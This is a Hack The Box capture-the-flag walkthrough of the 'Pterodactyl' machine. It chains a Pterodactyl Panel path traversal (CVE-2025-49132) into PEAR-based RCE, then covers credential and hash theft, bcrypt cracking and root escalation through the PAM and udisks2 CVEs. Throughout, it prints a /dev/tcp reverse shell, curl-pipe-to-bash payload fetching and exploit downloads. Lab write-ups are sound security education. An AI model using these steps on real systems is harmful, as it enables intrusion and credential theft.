Pterodactyl WriteUp

Table of Contents

Pterodactyl WriteUp

Pterodactyl is a 🟧 Medium difficulty Linux machine on Hack The Box, part of Season 10 (week 2). The name is no coincidence β€” the main attack vector is Pterodactyl Panel, a popular open-source game server manager widely deployed on the internet. The attack chain combines an unauthenticated path traversal that exposes PEAR and enables RCE, followed by database credential extraction, bcrypt hash cracking to pivot to an SSH user, and root escalation by chaining CVE-2025-6018 (PAM) with CVE-2025-6019 (udisks2/libblockdev).

πŸ—ΊοΈ Attack Chain

Nmap β†’ Ports 22 (SSH) + 80 (nginx)
      β”‚
      β–Ό
Subdomain fuzzing β†’ panel.pterodactyl.htb
      β”‚
      β–Ό
CVE-2025-49132 β†’ Path Traversal on /locales/locale.json
      β”‚
      β–Ό
PEAR pearcmd.php β†’ webshell write β†’ RCE as www-data
      β”‚
      β–Ό
/var/www/pterodactyl/.env β†’ MySQL credentials (pterodactyl:PteraPanel)
      β”‚
      β–Ό
MySQL β†’ phil's bcrypt hash β†’ john + rockyou.txt β†’ phil's password
      β”‚
      β–Ό
SSH as phil β†’ user.txt 🚩
      β”‚
      β–Ό
CVE-2025-6018 (PAM) β†’ intermediate shell
      β”‚
      β–Ό
CVE-2025-6019 (udisks2 + XFS image) β†’ root 🏴

Pterodactyl is a machine that accurately reflects what happens when popular management software is deployed without keeping it updated. No authentication is required to exploit the entry point β€” CVE-2025-49132 is pre-auth with CVSS 9.8. The interesting part is the escalation: two chained 2025 CVEs in the system storage stack that aren’t widely known outside the Polkit/udisks world.

πŸ” Reconnaissance

Port Scan

Add the machine to /etc/hosts and run the scan in two phases:

echo "10.129.21.96 pterodactyl.htb" | sudo tee -a /etc/hosts

Phase 1 β€” Quick discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv pterodactyl.htb

Phase 2 β€” Versions and scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv pterodactyl.htb
PortServiceDetail
22SSHOpenSSH 9.6
80HTTPnginx 1.21.5 / PHP 8.4.8

Ports 443 and 8080 appear closed. Port 80 redirects to http://pterodactyl.htb/, a static page about a Minecraft server.

Subdomain Fuzzing

The machine name is already a hint. Pterodactyl Panel is typically served on a panel. subdomain:

ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145
panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 367ms]

Add the subdomain:

echo "10.129.21.96 panel.pterodactyl.htb" | sudo tee -a /etc/hosts

🎯 panel.pterodactyl.htb gives us the Pterodactyl Panel v1.11.x interface. The panel asks for credentials to log in, but we don’t need them.

πŸ’‰ Initial Access β€” CVE-2025-49132

What is CVE-2025-49132?

🧠 Concept: CVE-2025-49132 is an unauthenticated path traversal vulnerability in Pterodactyl Panel < 1.11.11. The /locales/locale.json endpoint accepts the locale parameter without sufficient path validation, allowing traversal out of the locales directory to access arbitrary server files. Combined with the presence of pearcmd.php (part of PHP PEAR), the path traversal becomes unauthenticated RCE β€” CVSS 9.8.

Confirming the vulnerability

git clone https://github.com/str1keboo/CVE-2025-49132
cd CVE-2025-49132
python CVE-2025-49132-PoC.py test http://panel.pterodactyl.htb
[+] Target appears vulnerable (Path: ../../../pterodactyl)

Extracting database credentials

Before going for RCE, the PoC lets us read configuration files. We read Laravel’s database configuration:

curl -G "http://panel.pterodactyl.htb/locales/locale.json" --data-urlencode "locale=../../../pterodactyl" --data-urlencode "namespace=config/database"
...
"username": "pterodactyl",
"password": "PteraPanel",
"database": "panel",
"host": "127.0.0.1:3306"
...

We also get the Laravel APP_KEY (AES-256-CBC), though we don’t need to forge sessions for this machine:

python CVE-2025-49132-PoC.py dump http://panel.pterodactyl.htb
[+] Laravel APP_KEY: base64:UaThTPQnUjrrK61o...MJqcbTSThY=
[+] Environment: production
[+] Cipher: AES-256-CBC

πŸ’‘ The base PoC only does path traversal. To turn it into a shell we need the RCE module that uses PEAR pearcmd.php and hex-encodes commands to bypass filters.

Reverse shell via PEAR

We use the extended exploit version with interactive shell support:

git clone https://github.com/malw0re/CVE-2025-49132-Mods.git
cd CVE-2025-49132-Mods

Prepare the payload and listener:

# Terminal 1 - reverse shell listener
penelope -p 8443

# Terminal 2 - HTTP server to serve the payload
echo 'bash -i >& /dev/tcp/10.10.14.150/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 3 - launch the exploit
python ape1.py --host panel.pterodactyl.htb --interactive

Once inside the exploit shell, download and execute the payload:

curl 10.10.14.150/shell.sh | bash
www-data@pterodactyl:/var/www/pterodactyl/public$

βœ… RCE achieved as www-data. The internal mechanism uses pearcmd.php config-create to write a PHP file with hex-encoded commands to /tmp, then requests it via HTTP for the server to execute.

πŸ”‘ Pivot to User β€” MySQL Credentials β†’ phil

Reading the .env file

From the www-data shell, Laravel’s .env file confirms the credentials we already obtained:

cat /var/www/pterodactyl/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

Extracting hashes from MySQL

/usr/bin/mariadb -h 127.0.0.1 -u pterodactyl -pPteraPanel -e "SELECT email, username, password FROM panel.users;"
+------------------------------+--------------+--------------------------------------------------------------+
| email                        | username     | password                                                     |
+------------------------------+--------------+--------------------------------------------------------------+
| headmonitor@pterodactyl.htb  | headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3@pterodactyl.htb | phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+------------------------------+--------------+--------------------------------------------------------------+

Cracking the hash with John

echo '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' > hash_phileasfogg3.txt
john hash_phileasfogg3.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
!QAZ2wsx         (?)     
1g 0:00:00:53 DONE

SSH access as phil

ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx

🚩 User Flag

cat /home/phileasfogg3/user.txt

πŸ§— Privilege Escalation β€” CVE-2025-6018 + CVE-2025-6019

Identifying the vector

Reviewing running processes we see the udisks2 daemon active. A search leads us to two chained 2025 CVEs:

🧠 Concept: CVE-2025-6018 injects malicious XDG variables via pam_env.so during SSH login, making systemd-logind mark the session as Active. Polkit, which trusts logind, grants allow_active permissions, including loop device mounting via udisks2. CVE-2025-6019 exploits a race condition in libblockdev: during a Filesystem.Check D-Bus call, udisks2 temporarily mounts the image without the nosuid flag. A C binary (catcher) monitors /proc/mounts in real time and executes the SUID root binary from the image before it gets unmounted.

On Kali β€” Preparing the artifacts

Clone the repository and run build_poc.sh, which statically compiles the C binary catcher, creates a 400MB XFS image, mounts it, injects a SUID root binary inside, and unmounts it:

git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC.git
cd CVE-2025-6018-6019-PoC
chmod +x build_poc.sh
./build_poc.sh
[*] Compiling catcher binary (static)...
[*] Creating XFS filesystem image (400MB)...
[*] Mounting image and injecting SUID shell...
[*] Done. Artifacts ready: exploit.img, catcher

πŸ’‘ build_poc.sh compiles shell.c with gcc -static and copies it into the XFS image with chmod 4755. The static binary ensures compatibility with the target machine without depending on its libraries.

Serve the three files:

cp exploit.img catcher exploit.sh ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0

On the victim β€” CVE-2025-6018 (activating allow_active session)

By default, Polkit blocks privileged operations for SSH sessions. We write the XDG variables that trick logind into marking the session as active on a physical seat:

echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment

Log out and back in via SSH so PAM loads the file:

exit
ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx

Verify the session is active:

loginctl show-session $XDG_SESSION_ID | grep Active
Active=yes

βœ… With Active=yes, Polkit grants allow_active and udisks2 accepts loop device mounting without prompting for root password.

On the victim β€” CVE-2025-6019 (race condition β†’ root)

Download the artifacts:

cd /tmp
wget http://10.10.14.150/exploit.img
wget http://10.10.14.150/exploit.sh
wget http://10.10.14.150/catcher
chmod +x exploit.sh catcher

Launch the exploit:

./exploit.sh
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] (BG) Setting up loop device...
[*] (BG) Triggering Filesystem.Check on /org/freedesktop/UDisks2/block_devices/loop3...
[!!!] HIT! Mounted at: /tmp/blockdev.NTXKL3
pterodactyl:/tmp# whoami
root

βœ… Root shell. catcher detects the temporary mount in /proc/mounts and executes the SUID binary before udisks2 unmounts it. The race condition is milliseconds wide β€” the C binary compiled statically is essential for winning it reliably.

🏴 Root Flag

cat /root/root.txt

πŸ“ Attack Summary

#TechniqueToolResult
1Reconnaissancenmap, ffufSubdomain panel.pterodactyl.htb
2CVE-2025-49132 (Path Traversal)CVE-2025-49132-PoC.pyDB credentials + Laravel APP_KEY
3PEAR RCE (pre-auth)ape1.pyShell as www-data
4.env read + MySQLmariadb CLIphileasfogg3 bcrypt hash
5bcrypt crackingjohn + rockyou.txtPassword: !QAZ2wsx
6SSHsshShell as phileasfogg3 + user.txt 🚩
7CVE-2025-6018 (PAM β†’ .pam_environment)manualPolkit allow_active enabled
8CVE-2025-6019 (udisks2 race condition)exploit.sh + catcher + exploit.imgShell as root + root.txt 🏴

See you in the next challenge.